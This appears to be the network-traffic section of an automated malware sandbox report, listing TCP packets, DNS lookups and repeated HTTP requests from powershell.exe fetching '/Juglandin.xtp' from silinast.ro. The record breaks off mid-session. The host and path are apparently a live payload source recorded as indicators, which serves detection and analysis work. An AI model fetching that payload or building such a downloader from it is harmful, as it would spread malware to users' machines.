Oct 8, 2024 11:04:35.555095911 CEST	80	62391	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.555691957 CEST	80	62391	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.563429117 CEST	62392	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:35.568304062 CEST	80	62392	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.568378925 CEST	62392	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:35.568541050 CEST	62392	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:35.573267937 CEST	80	62392	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:35.573506117 CEST	80	62392	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.749041080 CEST	62393	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.753854990 CEST	80	62393	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.754189014 CEST	62393	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.754349947 CEST	62393	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.759280920 CEST	80	62393	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.759675026 CEST	80	62393	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.760914087 CEST	62394	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.765770912 CEST	80	62394	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.767498016 CEST	62394	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.767498970 CEST	62394	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:39.772413015 CEST	80	62394	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:39.772747993 CEST	80	62394	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:43.792958021 CEST	62395	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:43.797787905 CEST	80	62395	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:43.799513102 CEST	62395	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:43.799720049 CEST	62395	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:43.804486990 CEST	80	62395	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:43.804763079 CEST	80	62395	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:43.859661102 CEST	62396	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:43.864444017 CEST	80	62396	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:43.864582062 CEST	62396	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:43.903882980 CEST	62396	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:44.138087034 CEST	80	62396	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:44.149652958 CEST	80	62396	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.449420929 CEST	62397	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.454273939 CEST	80	62397	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.454417944 CEST	62397	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.454600096 CEST	62397	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.459394932 CEST	80	62397	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.459570885 CEST	80	62397	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.460799932 CEST	62398	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.465650082 CEST	80	62398	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.467246056 CEST	62398	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.467355013 CEST	62398	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:48.472131968 CEST	80	62398	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:48.472609043 CEST	80	62398	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.481137991 CEST	62399	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.803320885 CEST	80	62399	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.803419113 CEST	62399	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.803606033 CEST	62399	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.808962107 CEST	80	62399	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.810807943 CEST	80	62399	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.812736988 CEST	62400	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.817631960 CEST	80	62400	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.817713976 CEST	62400	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.817888021 CEST	62400	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:52.823313951 CEST	80	62400	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:52.823323965 CEST	80	62400	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.857016087 CEST	62401	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.861995935 CEST	80	62401	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.862071037 CEST	62401	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.862248898 CEST	62401	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.867687941 CEST	80	62401	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.867705107 CEST	80	62401	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.867743015 CEST	62401	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.867835999 CEST	62401	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.870769978 CEST	62402	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.872704029 CEST	80	62401	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.872718096 CEST	80	62401	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.875623941 CEST	80	62402	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.875684023 CEST	62402	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.875790119 CEST	62402	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:04:56.880727053 CEST	80	62402	188.241.183.45	192.168.2.6
Oct 8, 2024 11:04:56.881247997 CEST	80	62402	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.935128927 CEST	62403	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.939966917 CEST	80	62403	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.940046072 CEST	62403	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.940125942 CEST	62403	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.945000887 CEST	80	62403	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.945575953 CEST	80	62403	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.947179079 CEST	62404	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.952094078 CEST	80	62404	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.952179909 CEST	62404	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.955046892 CEST	62404	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.957418919 CEST	80	62404	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.957540989 CEST	62404	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.957637072 CEST	62404	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:00.959810972 CEST	80	62404	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.962393045 CEST	80	62404	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:00.962414026 CEST	80	62404	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:04.983736038 CEST	62405	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:04.988651991 CEST	80	62405	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:04.988764048 CEST	62405	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:04.988873005 CEST	62405	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:04.993755102 CEST	80	62405	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:04.994028091 CEST	80	62405	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:04.995631933 CEST	62406	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:05.000550985 CEST	80	62406	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:05.000624895 CEST	62406	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:05.000705004 CEST	62406	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:05.005430937 CEST	80	62406	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:05.005740881 CEST	80	62406	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.030013084 CEST	62407	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.034934998 CEST	80	62407	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.035022974 CEST	62407	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.035557032 CEST	62407	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.040595055 CEST	80	62407	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.040677071 CEST	80	62407	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.040683031 CEST	62407	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.041352034 CEST	62407	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.042727947 CEST	62408	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.045552969 CEST	80	62407	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.046346903 CEST	80	62407	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.047650099 CEST	80	62408	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.047736883 CEST	62408	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.052022934 CEST	62408	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.052727938 CEST	80	62408	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.052786112 CEST	62408	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.052867889 CEST	62408	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:09.058402061 CEST	80	62408	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.058478117 CEST	80	62408	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:09.058506012 CEST	80	62408	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.078879118 CEST	62409	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.086134911 CEST	80	62409	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.086203098 CEST	62409	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.086461067 CEST	62409	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.092988968 CEST	80	62409	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.094783068 CEST	80	62409	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.096801043 CEST	62410	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.103559971 CEST	80	62410	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.103635073 CEST	62410	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.104037046 CEST	62410	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.109199047 CEST	80	62410	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.109293938 CEST	62410	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.109642029 CEST	62410	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:13.110858917 CEST	80	62410	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.115912914 CEST	80	62410	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:13.116350889 CEST	80	62410	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.232358932 CEST	62411	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.237503052 CEST	80	62411	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.237584114 CEST	62411	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.237698078 CEST	62411	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.242600918 CEST	80	62411	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.243073940 CEST	80	62411	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.244462013 CEST	62412	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.249383926 CEST	80	62412	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.249447107 CEST	62412	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.249528885 CEST	62412	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:17.254611969 CEST	80	62412	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:17.254966021 CEST	80	62412	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.278810024 CEST	62413	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.283940077 CEST	80	62413	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.284022093 CEST	62413	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.284116983 CEST	62413	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.288957119 CEST	80	62413	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.289366961 CEST	80	62413	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.290124893 CEST	62414	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.295110941 CEST	80	62414	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.295177937 CEST	62414	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.295300007 CEST	62414	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:21.300108910 CEST	80	62414	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:21.300591946 CEST	80	62414	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.341486931 CEST	62415	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.346764088 CEST	80	62415	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.346863985 CEST	62415	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.347069979 CEST	62415	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.352114916 CEST	80	62415	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.352410078 CEST	80	62415	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.353728056 CEST	62416	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.359654903 CEST	80	62416	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.359738111 CEST	62416	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.359805107 CEST	62416	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:25.365119934 CEST	80	62416	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:25.365324974 CEST	80	62416	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.373018980 CEST	62417	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.377929926 CEST	80	62417	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.378009081 CEST	62417	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.378079891 CEST	62417	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.382832050 CEST	80	62417	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.383196115 CEST	80	62417	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.384248018 CEST	62418	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.389085054 CEST	80	62418	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.389137983 CEST	62418	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.389225006 CEST	62418	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:29.394073963 CEST	80	62418	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:29.394402027 CEST	80	62418	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.433376074 CEST	62419	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.438220024 CEST	80	62419	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.438288927 CEST	62419	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.438395023 CEST	62419	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.443176031 CEST	80	62419	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.443459034 CEST	80	62419	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.444919109 CEST	62420	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.449848890 CEST	80	62420	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.449925900 CEST	62420	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.450130939 CEST	62420	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:33.455105066 CEST	80	62420	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:33.455573082 CEST	80	62420	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.497739077 CEST	62421	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.503103018 CEST	80	62421	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.503179073 CEST	62421	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.503359079 CEST	62421	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.508621931 CEST	80	62421	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.509028912 CEST	80	62421	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.510379076 CEST	62422	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.515187025 CEST	80	62422	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.515322924 CEST	62422	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.515322924 CEST	62422	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:37.520080090 CEST	80	62422	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:37.520369053 CEST	80	62422	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.529280901 CEST	62425	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.534029961 CEST	80	62425	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.534101963 CEST	62425	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.534184933 CEST	62425	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.539017916 CEST	80	62425	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.539164066 CEST	80	62425	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.540668011 CEST	62426	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.545476913 CEST	80	62426	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.545546055 CEST	62426	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.545600891 CEST	62426	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:41.550415993 CEST	80	62426	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:41.550662041 CEST	80	62426	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.740283012 CEST	62427	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.745162010 CEST	80	62427	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.745254040 CEST	62427	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.747153044 CEST	62427	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.750364065 CEST	80	62427	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.750411987 CEST	62427	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.751980066 CEST	80	62427	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.754270077 CEST	62427	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.754669905 CEST	62428	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.755196095 CEST	80	62427	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.759048939 CEST	80	62427	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.759444952 CEST	80	62428	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.759536982 CEST	62428	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.763678074 CEST	62428	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.764585018 CEST	80	62428	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.764858007 CEST	62428	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:45.768501997 CEST	80	62428	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:45.769678116 CEST	80	62428	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.794765949 CEST	62429	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.800611973 CEST	80	62429	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.800786018 CEST	62429	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.801388025 CEST	62429	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.806858063 CEST	80	62429	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.806937933 CEST	62429	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.807077885 CEST	62429	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.807200909 CEST	80	62429	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.808177948 CEST	62430	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.812930107 CEST	80	62429	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.813086987 CEST	80	62429	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.813910961 CEST	80	62430	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.813976049 CEST	62430	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.814071894 CEST	62430	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:49.818794012 CEST	80	62430	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:49.819020987 CEST	80	62430	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.825016975 CEST	62437	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.830815077 CEST	80	62437	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.830915928 CEST	62437	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.831067085 CEST	62437	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.837970972 CEST	80	62437	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.838133097 CEST	80	62437	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.839070082 CEST	62438	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.844719887 CEST	80	62438	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.844815969 CEST	62438	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.844997883 CEST	62438	80	192.168.2.6	188.241.183.45
Oct 8, 2024 11:05:53.854062080 CEST	80	62438	188.241.183.45	192.168.2.6
Oct 8, 2024 11:05:53.854443073 CEST	80	62438	188.241.183.45	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 11:01:48.675131083 CEST	57122	53	192.168.2.6	1.1.1.1
Oct 8, 2024 11:01:48.691035986 CEST	53	57122	1.1.1.1	192.168.2.6
Oct 8, 2024 11:01:50.925407887 CEST	63527	53	192.168.2.6	1.1.1.1
Oct 8, 2024 11:01:50.979487896 CEST	53	63527	1.1.1.1	192.168.2.6
Oct 8, 2024 11:02:06.624134064 CEST	53	63922	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 11:01:48.675131083 CEST	192.168.2.6	1.1.1.1	0xa0bf	Standard query (0)	6777.6777.6777.677e	A (IP address)	IN (0x0001)	false
Oct 8, 2024 11:01:50.925407887 CEST	192.168.2.6	1.1.1.1	0xdd42	Standard query (0)	silinast.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 11:01:48.691035986 CEST	1.1.1.1	192.168.2.6	0xa0bf	Name error (3)	6777.6777.6777.677e	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 11:01:50.979487896 CEST	1.1.1.1	192.168.2.6	0xdd42	No error (0)	silinast.ro		188.241.183.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

silinast.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49764	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:51.010797977 CEST	168	OUT	GET /Juglandin.xtp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49765	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:51.032905102 CEST	168	OUT	GET /Juglandin.xtp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49800	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:55.386255980 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49801	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:55.399945021 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49827	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:59.429553986 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49828	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:01:59.445091009 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49840	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:03.515549898 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49841	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:03.526402950 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	62204	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:07.533785105 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	62205	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:07.545013905 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	62206	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:11.604522943 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	62207	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
